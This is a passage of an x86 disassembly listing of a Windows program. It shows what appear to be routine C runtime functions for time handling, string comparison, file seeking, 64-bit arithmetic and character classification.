mov dword_4F0FB4, ecx
loc_41D9BD: ; CODE XREF: sub_41D930+2Aj
mov edx, dword_4F0FB0
mov eax, [ebp+arg_0]
mov [edx], eax
mov ecx, dword_4F0FB0
add ecx, 4
mov dword_4F0FB0, ecx
call sub_41B700
mov eax, [ebp+arg_0]
loc_41D9DF: ; CODE XREF: sub_41D930+68j
mov esp, ebp
pop ebp
retn
sub_41D930 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D9F0 proc near ; CODE XREF: .nsp0:0040CD71p
; sub_4357B0+8p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push eax
call sub_41D930
add esp, 4
neg eax
sbb eax, eax
neg eax
dec eax
pop ebp
retn
sub_41D9F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DA10 proc near ; DATA XREF: .nsp0:0043A020o
push ebp
mov ebp, esp
push 0B6h
push offset dword_437D0C
push 2
push 80h
call sub_418EF0
add esp, 10h
mov dword_4F0FB4, eax
cmp dword_4F0FB4, 0
jnz short loc_41DA44
push 18h
call sub_41EB30
add esp, 4
loc_41DA44: ; CODE XREF: sub_41DA10+28j
mov eax, dword_4F0FB4
mov dword ptr [eax], 0
mov ecx, dword_4F0FB4
mov dword_4F0FB0, ecx
pop ebp
retn
sub_41DA10 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DA60 proc near ; CODE XREF: sub_40D46C+1B3p
var_D8 = dword ptr -0D8h
var_D4 = dword ptr -0D4h
var_D0 = byte ptr -0D0h
var_36 = dword ptr -36h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_A = dword ptr -0Ah
var_6 = dword ptr -6
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0D8h
lea eax, [ebp+var_24]
push eax
call dword_4F13F0 ; GetLocalTime
lea ecx, [ebp+var_10]
push ecx
call dword_4F144C ; GetSystemTime
mov edx, [ebp+var_6]
and edx, 0FFFFh
xor eax, eax
mov ax, word ptr dword_4EF8D8+2
cmp edx, eax
jnz short loc_41DAF8
mov ecx, [ebp-8]
and ecx, 0FFFFh
xor edx, edx
mov dx, word ptr dword_4EF8D8
cmp ecx, edx
jnz short loc_41DAF8
mov eax, [ebp+var_A]
and eax, 0FFFFh
xor ecx, ecx
mov cx, word_4EF8D6
cmp eax, ecx
jnz short loc_41DAF8
mov edx, [ebp+var_10+2]
and edx, 0FFFFh
xor eax, eax
mov ax, word ptr dword_4EF8D0+2
cmp edx, eax
jnz short loc_41DAF8
mov ecx, [ebp+var_10]
and ecx, 0FFFFh
xor edx, edx
mov dx, word ptr dword_4EF8D0
cmp ecx, edx
jnz short loc_41DAF8
mov eax, dword_4EF8C8
mov [ebp+var_D8], eax
jmp loc_41DB80
; ---------------------------------------------------------------------------
loc_41DAF8: ; CODE XREF: sub_41DA60+30j
; sub_41DA60+46j ...
lea ecx, [ebp+var_D0]
push ecx
call dword_4F1448 ; GetTimeZoneInformation
mov [ebp+var_D4], eax
cmp [ebp+var_D4], 0FFFFFFFFh
jz short loc_41DB48
cmp [ebp+var_D4], 2
jnz short loc_41DB3C
mov edx, [ebp+var_36]
and edx, 0FFFFh
test edx, edx
jz short loc_41DB3C
cmp [ebp+var_28], 0
jz short loc_41DB3C
mov [ebp+var_D8], 1
jmp short loc_41DB46
; ---------------------------------------------------------------------------
loc_41DB3C: ; CODE XREF: sub_41DA60+BBj
; sub_41DA60+C8j ...
mov [ebp+var_D8], 0
loc_41DB46: ; CODE XREF: sub_41DA60+DAj
jmp short loc_41DB52
; ---------------------------------------------------------------------------
loc_41DB48: ; CODE XREF: sub_41DA60+B2j
mov [ebp+var_D8], 0FFFFFFFFh
loc_41DB52: ; CODE XREF: sub_41DA60:loc_41DB46j
mov eax, [ebp+var_D8]
mov dword_4EF8C8, eax
mov ecx, [ebp+var_10]
mov dword_4EF8D0, ecx
mov edx, [ebp-0Ch]
mov dword ptr byte_4EF8D4, edx
mov eax, [ebp+var_A+2]
mov dword_4EF8D8, eax
mov ecx, [ebp+var_6+2]
mov dword_4EF8DC, ecx
loc_41DB80: ; CODE XREF: sub_41DA60+93j
mov edx, [ebp+var_D8]
push edx
mov eax, [ebp+var_18]
and eax, 0FFFFh
push eax
mov ecx, [ebp-1Ah]
and ecx, 0FFFFh
push ecx
mov edx, [ebp+var_1C]
and edx, 0FFFFh
push edx
mov eax, [ebp-1Eh]
and eax, 0FFFFh
push eax
mov ecx, [ebp+var_24+2]
and ecx, 0FFFFh
push ecx
mov edx, [ebp+var_24]
and edx, 0FFFFh
push edx
call sub_4287B0
add esp, 1Ch
mov [ebp+var_14], eax
cmp [ebp+arg_0], 0
jz short loc_41DBDA
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_14]
mov [eax], ecx
loc_41DBDA: ; CODE XREF: sub_41DA60+170j
mov eax, [ebp+var_14]
mov esp, ebp
pop ebp
retn
sub_41DA60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DBF0 proc near ; CODE XREF: sub_40D46C+18p
; sub_42FFA0+40p ...
var_10 = dword ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov esi, [ebp+arg_4]
mov edi, [ebp+arg_0]
lea eax, dword_4EF96C
cmp dword ptr [eax+8], 0
jnz short loc_41DC43
mov al, 0FFh
mov edi, edi
loc_41DC0C: ; CODE XREF: sub_41DBF0+28j
; sub_41DBF0+48j
or al, al
jz short loc_41DC3E
mov al, [esi]
inc esi
mov ah, [edi]
inc edi
cmp ah, al
jz short loc_41DC0C
sub al, 41h
cmp al, 1Ah
sbb cl, cl
and cl, 20h
add al, cl
add al, 41h
xchg ah, al
sub al, 41h
cmp al, 1Ah
sbb cl, cl
and cl, 20h
add al, cl
add al, 41h
cmp al, ah
jz short loc_41DC0C
sbb al, al
sbb al, 0FFh
loc_41DC3E: ; CODE XREF: sub_41DBF0+1Ej
movsx eax, al
jmp short loc_41DCBB
; ---------------------------------------------------------------------------
loc_41DC43: ; CODE XREF: sub_41DBF0+16j
lock inc dword_4EFD48
cmp dword_4EFD44, 0
jg short loc_41DC57
push 0
jmp short loc_41DC6C
; ---------------------------------------------------------------------------
loc_41DC57: ; CODE XREF: sub_41DBF0+61j
lock dec dword_4EFD48
push 13h
call sub_41FB40
mov [esp+10h+var_10], 1
loc_41DC6C: ; CODE XREF: sub_41DBF0+65j
mov eax, 0FFh
xor ebx, ebx
nop
loc_41DC74: ; CODE XREF: sub_41DBF0+90j
; sub_41DBF0+A8j
or al, al
jz short loc_41DC9F
mov al, [esi]
inc esi
mov bl, [edi]
inc edi
cmp al, bl
jz short loc_41DC74
push eax
push ebx
call sub_41E5F0
mov ebx, eax
add esp, 4
call sub_41E5F0
add esp, 4
cmp bl, al
jz short loc_41DC74
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_41DC9F: ; CODE XREF: sub_41DBF0+86j
mov ebx, eax
pop eax
or eax, eax
jnz short loc_41DCAF
lock dec dword_4EFD48
jmp short loc_41DCB9
; ---------------------------------------------------------------------------
loc_41DCAF: ; CODE XREF: sub_41DBF0+B4j
push 13h
call sub_41FBE0
add esp, 4
loc_41DCB9: ; CODE XREF: sub_41DBF0+BDj
mov eax, ebx
loc_41DCBB: ; CODE XREF: sub_41DBF0+51j
pop ebx
pop esi
pop edi
leave
retn
sub_41DBF0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DCC0 proc near ; CODE XREF: sub_4112A8+26Ep
; sub_4112A8+37Dp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
loc_41DCC7: ; CODE XREF: sub_41DCC0+2Fj
cmp [ebp+arg_0], 0
jnz short loc_41DCEB
push offset dword_437504
push 0
push 65h
push offset dword_437D18
push 2
call sub_41EED0
add esp, 14h
cmp eax, 1
jnz short loc_41DCEB
int 3 ; Trap to Debugger
loc_41DCEB: ; CODE XREF: sub_41DCC0+Bj
; sub_41DCC0+28j
xor eax, eax
test eax, eax
jnz short loc_41DCC7
mov ecx, [ebp+arg_0]
push ecx
call sub_41ECE0
add esp, 4
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_41DD30
add esp, 0Ch
mov [ebp+var_4], eax
mov edx, [ebp+arg_0]
push edx
call sub_41ED50
add esp, 4
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41DCC0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DD30 proc near ; CODE XREF: sub_41DCC0+49p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
loc_41DD37: ; CODE XREF: sub_41DD30+32j
cmp [ebp+arg_0], 0
jnz short loc_41DD5E
push offset dword_437514
push 0
push 92h
push offset dword_437D18
push 2
call sub_41EED0
add esp, 14h
cmp eax, 1
jnz short loc_41DD5E
int 3 ; Trap to Debugger
loc_41DD5E: ; CODE XREF: sub_41DD30+Bj
; sub_41DD30+2Bj
xor eax, eax
test eax, eax
jnz short loc_41DD37
mov ecx, [ebp+arg_0]
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
and eax, 83h
test eax, eax
jz short loc_41DD8B
cmp [ebp+arg_8], 0
jz short loc_41DD9E
cmp [ebp+arg_8], 1
jz short loc_41DD9E
cmp [ebp+arg_8], 2
jz short loc_41DD9E
loc_41DD8B: ; CODE XREF: sub_41DD30+47j
call sub_4248A0
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
jmp loc_41DE50
; ---------------------------------------------------------------------------
loc_41DD9E: ; CODE XREF: sub_41DD30+4Dj
; sub_41DD30+53j ...
mov ecx, [ebp+var_4]
mov edx, [ecx+0Ch]
and edx, 0FFFFFFEFh
mov eax, [ebp+var_4]
mov [eax+0Ch], edx
cmp [ebp+arg_8], 1
jnz short loc_41DDCE
mov ecx, [ebp+var_4]
push ecx
call sub_4294B0
add esp, 4
mov edx, [ebp+arg_4]
add edx, eax
mov [ebp+arg_4], edx
mov [ebp+arg_8], 0
loc_41DDCE: ; CODE XREF: sub_41DD30+81j
mov eax, [ebp+var_4]
push eax
call sub_41F7E0
add esp, 4
mov ecx, [ebp+var_4]
mov edx, [ecx+0Ch]
and edx, 80h
test edx, edx
jz short loc_41DDFB
mov eax, [ebp+var_4]
mov ecx, [eax+0Ch]
and ecx, 0FFFFFFFCh
mov edx, [ebp+var_4]
mov [edx+0Ch], ecx
jmp short loc_41DE2F
; ---------------------------------------------------------------------------
loc_41DDFB: ; CODE XREF: sub_41DD30+B8j
mov eax, [ebp+var_4]
mov ecx, [eax+0Ch]
and ecx, 1
test ecx, ecx
jz short loc_41DE2F
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
and eax, 8
test eax, eax
jz short loc_41DE2F
mov ecx, [ebp+var_4]
mov edx, [ecx+0Ch]
and edx, 400h
test edx, edx
jnz short loc_41DE2F
mov eax, [ebp+var_4]
mov dword ptr [eax+18h], 200h
loc_41DE2F: ; CODE XREF: sub_41DD30+C9j
; sub_41DD30+D6j ...
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+var_4]
mov ecx, [eax+10h]
push ecx
call sub_4292F0
add esp, 0Ch
sub eax, 0FFFFFFFFh
neg eax
sbb eax, eax
neg eax
dec eax
loc_41DE50: ; CODE XREF: sub_41DD30+69j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41DD30 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41DE60 proc near ; CODE XREF: sub_411ED9+19Ep
; sub_412C36+11Bp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_4]
mov ecx, [esp+arg_C]
or ecx, eax
mov ecx, [esp+arg_8]
jnz short loc_41DE79
mov eax, [esp+arg_0]
mul ecx
retn 10h
; ---------------------------------------------------------------------------
loc_41DE79: ; CODE XREF: sub_41DE60+Ej
push ebx
mul ecx
mov ebx, eax
mov eax, [esp+4+arg_0]
mul [esp+4+arg_C]
add ebx, eax
mov eax, [esp+4+arg_0]
mul ecx
add edx, ebx
pop ebx
retn 10h
sub_41DE60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DEA0 proc near ; CODE XREF: sub_414F2C+8p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
push eax
call dword_4F1354 ; GetFileAttributesA
mov [ebp+var_4], eax
cmp [ebp+var_4], 0FFFFFFFFh
jnz short loc_41DECB
call dword_4F1348 ; RtlGetLastWin32Error
push eax
call sub_424800
add esp, 4
or eax, 0FFFFFFFFh
jmp short loc_41DEFC
; ---------------------------------------------------------------------------
loc_41DECB: ; CODE XREF: sub_41DEA0+15j
mov ecx, [ebp+var_4]
and ecx, 1
test ecx, ecx
jz short loc_41DEFA
mov edx, [ebp+arg_4]
and edx, 2
test edx, edx
jz short loc_41DEFA
call sub_4248A0
mov dword ptr [eax], 0Dh
call sub_4248B0
mov dword ptr [eax], 5
or eax, 0FFFFFFFFh
jmp short loc_41DEFC
; ---------------------------------------------------------------------------
loc_41DEFA: ; CODE XREF: sub_41DEA0+33j
; sub_41DEA0+3Dj
xor eax, eax
loc_41DEFC: ; CODE XREF: sub_41DEA0+29j
; sub_41DEA0+58j
mov esp, ebp
pop ebp
retn
sub_41DEA0 endp
; =============== S U B R O U T I N E =======================================
sub_41DF00 proc near ; CODE XREF: sub_414F46+3Fp
; sub_4188BF+2Ap ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
mov eax, [esp+8+arg_C]
or eax, eax
jnz short loc_41DF22
mov ecx, [esp+8+arg_8]
mov eax, [esp+8+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+8+arg_0]
div ecx
mov edx, ebx
jmp short loc_41DF63
; ---------------------------------------------------------------------------
loc_41DF22: ; CODE XREF: sub_41DF00+8j
mov ecx, eax
mov ebx, [esp+8+arg_8]
mov edx, [esp+8+arg_4]
mov eax, [esp+8+arg_0]
loc_41DF30: ; CODE XREF: sub_41DF00+3Aj
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_41DF30
div ebx
mov esi, eax
mul [esp+8+arg_C]
mov ecx, eax
mov eax, [esp+8+arg_8]
mul esi
add edx, ecx
jb short loc_41DF5E
cmp edx, [esp+8+arg_4]
ja short loc_41DF5E
jb short loc_41DF5F
cmp eax, [esp+8+arg_0]
jbe short loc_41DF5F
loc_41DF5E: ; CODE XREF: sub_41DF00+4Ej
; sub_41DF00+54j
dec esi
loc_41DF5F: ; CODE XREF: sub_41DF00+56j
; sub_41DF00+5Cj
xor edx, edx
mov eax, esi
loc_41DF63: ; CODE XREF: sub_41DF00+20j
pop esi
pop ebx
retn 10h
sub_41DF00 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41DF70 proc near ; CODE XREF: sub_414F46+2Dp
; sub_4188BF+43p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov eax, [esp+4+arg_C]
or eax, eax
jnz short loc_41DF91
mov ecx, [esp+4+arg_8]
mov eax, [esp+4+arg_4]
xor edx, edx
div ecx
mov eax, [esp+4+arg_0]
div ecx
mov eax, edx
xor edx, edx
jmp short loc_41DFE1
; ---------------------------------------------------------------------------
loc_41DF91: ; CODE XREF: sub_41DF70+7j
mov ecx, eax
mov ebx, [esp+4+arg_8]
mov edx, [esp+4+arg_4]
mov eax, [esp+4+arg_0]
loc_41DF9F: ; CODE XREF: sub_41DF70+39j
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_41DF9F
div ebx
mov ecx, eax
mul [esp+4+arg_C]
xchg eax, ecx
mul [esp+4+arg_8]
add edx, ecx
jb short loc_41DFCA
cmp edx, [esp+4+arg_4]
ja short loc_41DFCA
jb short loc_41DFD2
cmp eax, [esp+4+arg_0]
jbe short loc_41DFD2
loc_41DFCA: ; CODE XREF: sub_41DF70+4Aj
; sub_41DF70+50j
sub eax, [esp+4+arg_8]
sbb edx, [esp+4+arg_C]
loc_41DFD2: ; CODE XREF: sub_41DF70+52j
; sub_41DF70+58j
sub eax, [esp+4+arg_0]
sbb edx, [esp+4+arg_4]
neg edx
neg eax
sbb edx, 0
loc_41DFE1: ; CODE XREF: sub_41DF70+1Fj
pop ebx
retn 10h
sub_41DF70 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41DFF0 proc near ; CODE XREF: sub_415056+5Ep
; sub_415056+8Ep ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push edi
push esi
push ebx
xor edi, edi
mov eax, [esp+0Ch+arg_4]
or eax, eax
jge short loc_41E011
inc edi
mov edx, [esp+0Ch+arg_0]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_4], eax
mov [esp+0Ch+arg_0], edx
loc_41E011: ; CODE XREF: sub_41DFF0+Bj
mov eax, [esp+0Ch+arg_C]
or eax, eax
jge short loc_41E02D
inc edi
mov edx, [esp+0Ch+arg_8]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_C], eax
mov [esp+0Ch+arg_8], edx
loc_41E02D: ; CODE XREF: sub_41DFF0+27j
or eax, eax
jnz short loc_41E049
mov ecx, [esp+0Ch+arg_8]
mov eax, [esp+0Ch+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+0Ch+arg_0]
div ecx
mov edx, ebx
jmp short loc_41E08A
; ---------------------------------------------------------------------------
loc_41E049: ; CODE XREF: sub_41DFF0+3Fj
mov ebx, eax
mov ecx, [esp+0Ch+arg_8]
mov edx, [esp+0Ch+arg_4]
mov eax, [esp+0Ch+arg_0]
loc_41E057: ; CODE XREF: sub_41DFF0+71j
shr ebx, 1
rcr ecx, 1
shr edx, 1
rcr eax, 1
or ebx, ebx
jnz short loc_41E057
div ecx
mov esi, eax
mul [esp+0Ch+arg_C]
mov ecx, eax
mov eax, [esp+0Ch+arg_8]
mul esi
add edx, ecx
jb short loc_41E085
cmp edx, [esp+0Ch+arg_4]
ja short loc_41E085
jb short loc_41E086
cmp eax, [esp+0Ch+arg_0]
jbe short loc_41E086
loc_41E085: ; CODE XREF: sub_41DFF0+85j
; sub_41DFF0+8Bj
dec esi
loc_41E086: ; CODE XREF: sub_41DFF0+8Dj
; sub_41DFF0+93j
xor edx, edx
mov eax, esi
loc_41E08A: ; CODE XREF: sub_41DFF0+57j
dec edi
jnz short loc_41E094
neg edx
neg eax
sbb edx, 0
loc_41E094: ; CODE XREF: sub_41DFF0+9Bj
pop ebx
pop esi
pop edi
retn 10h
sub_41DFF0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword_4516A8, 1
jle short loc_41E0C3
push 103h
mov eax, [ebp+8]
push eax
call sub_421E50
add esp, 8
mov [ebp-4], eax
jmp short loc_41E0DA
; ---------------------------------------------------------------------------
loc_41E0C3: ; CODE XREF: .nsp0:0041E0ABj
mov ecx, [ebp+8]
mov edx, off_45149C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 103h
mov [ebp-4], eax
loc_41E0DA: ; CODE XREF: .nsp0:0041E0C1j
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword_4516A8, 1
jle short loc_41E110
push 1
mov eax, [ebp+8]
push eax
call sub_421E50
add esp, 8
mov [ebp-4], eax
jmp short loc_41E125
; ---------------------------------------------------------------------------
loc_41E110: ; CODE XREF: .nsp0:0041E0FBj
mov ecx, [ebp+8]
mov edx, off_45149C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 1
mov [ebp-4], eax
loc_41E125: ; CODE XREF: .nsp0:0041E10Ej
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword_4516A8, 1
jle short loc_41E150
push 2
mov eax, [ebp+8]
push eax
call sub_421E50
add esp, 8
mov [ebp-4], eax
jmp short loc_41E165
; ---------------------------------------------------------------------------
loc_41E150: ; CODE XREF: .nsp0:0041E13Bj
mov ecx, [ebp+8]
mov edx, off_45149C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 2
mov [ebp-4], eax
loc_41E165: ; CODE XREF: .nsp0:0041E14Ej
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E170 proc near ; CODE XREF: sub_4156B7+1A8p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_4516A8, 1
jle short loc_41E190
push 4
mov eax, [ebp+arg_0]
push eax
call sub_421E50
add esp, 8
mov [ebp+var_4], eax
jmp short loc_41E1A5
; ---------------------------------------------------------------------------
loc_41E190: ; CODE XREF: sub_41E170+Bj
mov ecx, [ebp+arg_0]
mov edx, off_45149C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 4
mov [ebp+var_4], eax
loc_41E1A5: ; CODE XREF: sub_41E170+1Ej
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_41E170 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword_4516A8, 1
jle short loc_41E1D3
push 80h
mov eax, [ebp+8]
push eax
call sub_421E50
add esp, 8
mov [ebp-4], eax
jmp short loc_41E1EA
; ---------------------------------------------------------------------------
loc_41E1D3: ; CODE XREF: .nsp0:0041E1BBj
mov ecx, [ebp+8]
mov edx, off_45149C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 80h
mov [ebp-4], eax
loc_41E1EA: ; CODE XREF: .nsp0:0041E1D1j
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E200 proc near ; CODE XREF: sub_424CA0+105p
; sub_426160+24p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_4516A8, 1
jle short loc_41E220
push 8
mov eax, [ebp+arg_0]
push eax
call sub_421E50
add esp, 8
mov [ebp+var_4], eax
jmp short loc_41E235
; ---------------------------------------------------------------------------
loc_41E220: ; CODE XREF: sub_41E200+Bj
mov ecx, [ebp+arg_0]
mov edx, off_45149C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 8
mov [ebp+var_4], eax
loc_41E235: ; CODE XREF: sub_41E200+1Ej
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_41E200 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword_4516A8, 1
jle short loc_41E260
push 10h
mov eax, [ebp+8]
push eax
call sub_421E50
add esp, 8
mov [ebp-4], eax
jmp short loc_41E275
; ---------------------------------------------------------------------------
loc_41E260: ; CODE XREF: .nsp0:0041E24Bj
mov ecx, [ebp+8]
mov edx, off_45149C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 10h
mov [ebp-4], eax
loc_41E275: ; CODE XREF: .nsp0:0041E25Ej
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword_4516A8, 1
jle short loc_41E2A3
push 107h
mov eax, [ebp+8]
push eax
call sub_421E50
add esp, 8
mov [ebp-4], eax
jmp short loc_41E2BA
; ---------------------------------------------------------------------------
loc_41E2A3: ; CODE XREF: .nsp0:0041E28Bj
mov ecx, [ebp+8]
mov edx, off_45149C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 107h
mov [ebp-4], eax
loc_41E2BA: ; CODE XREF: .nsp0:0041E2A1j
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword_4516A8, 1
jle short loc_41E2F3
push 157h
mov eax, [ebp+8]
push eax
call sub_421E50
add esp, 8
mov [ebp-4], eax
jmp short loc_41E30A
; ---------------------------------------------------------------------------
loc_41E2F3: ; CODE XREF: .nsp0:0041E2DBj
mov ecx, [ebp+8]
mov edx, off_45149C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 157h
mov [ebp-4], eax
loc_41E30A: ; CODE XREF: .nsp0:0041E2F1j
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword_4516A8, 1
jle short loc_41E343
push 117h
mov eax, [ebp+8]
push eax
call sub_421E50
add esp, 8
mov [ebp-4], eax
jmp short loc_41E35A
; ---------------------------------------------------------------------------
loc_41E343: ; CODE XREF: .nsp0:0041E32Bj
mov ecx, [ebp+8]
mov edx, off_45149C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 117h
mov [ebp-4], eax
loc_41E35A: ; CODE XREF: .nsp0:0041E341j
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword_4516A8, 1
jle short loc_41E390
push 20h
mov eax, [ebp+8]
push eax
call sub_421E50
add esp, 8
mov [ebp-4], eax
jmp short loc_41E3A5
; ---------------------------------------------------------------------------
loc_41E390: ; CODE XREF: .nsp0:0041E37Bj
mov ecx, [ebp+8]
mov edx, off_45149C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 20h
mov [ebp-4], eax
loc_41E3A5: ; CODE XREF: .nsp0:0041E38Ej
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
cmp dword ptr [ebp+8], 80h
sbb eax, eax
neg eax
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, [ebp+8]
and eax, 7Fh
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 8
cmp dword_4516A8, 1
jle short loc_41E3F5
push 103h
mov eax, [ebp+8]
push eax
call sub_421E50
add esp, 8
mov [ebp-4], eax
jmp short loc_41E40C
; ---------------------------------------------------------------------------
loc_41E3F5: ; CODE XREF: .nsp0:0041E3DDj
mov ecx, [ebp+8]
mov edx, off_45149C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 103h
mov [ebp-4], eax
loc_41E40C: ; CODE XREF: .nsp0:0041E3F3j
cmp dword ptr [ebp-4], 0
jnz short loc_41E421
cmp dword ptr [ebp+8], 5Fh
jz short loc_41E421
mov dword ptr [ebp-8], 0
jmp short loc_41E428
; ---------------------------------------------------------------------------
loc_41E421: ; CODE XREF: .nsp0:0041E410j
; .nsp0:0041E416j
mov dword ptr [ebp-8], 1
loc_41E428: ; CODE XREF: .nsp0:0041E41Fj
mov eax, [ebp-8]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 8
cmp dword_4516A8, 1
jle short loc_41E455
push 107h
mov eax, [ebp+8]
push eax
call sub_421E50
add esp, 8
mov [ebp-4], eax
jmp short loc_41E46C
; ---------------------------------------------------------------------------
loc_41E455: ; CODE XREF: .nsp0:0041E43Dj
mov ecx, [ebp+8]
mov edx, off_45149C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 107h
mov [ebp-4], eax
loc_41E46C: ; CODE XREF: .nsp0:0041E453j
cmp dword ptr [ebp-4], 0
jnz short loc_41E481
cmp dword ptr [ebp+8], 5Fh
jz short loc_41E481
mov dword ptr [ebp-8], 0
jmp short loc_41E488
; ---------------------------------------------------------------------------
loc_41E481: ; CODE XREF: .nsp0:0041E470j
; .nsp0:0041E476j
mov dword ptr [ebp-8], 1
loc_41E488: ; CODE XREF: .nsp0:0041E47Fj
mov eax, [ebp-8]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41E490 proc near ; CODE XREF: sub_415AC8+1Dp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_8]
test eax, eax
jz short locret_41E4DC
mov edx, [esp+arg_0]
push esi
push edi
mov esi, edx
mov edi, [esp+8+arg_4]
or edx, edi
and edx, 3
jz short loc_41E4DD
test eax, 1
jz short loc_41E4BD
mov cl, [esi]
cmp cl, [edi]
jnz short loc_41E50A
inc esi
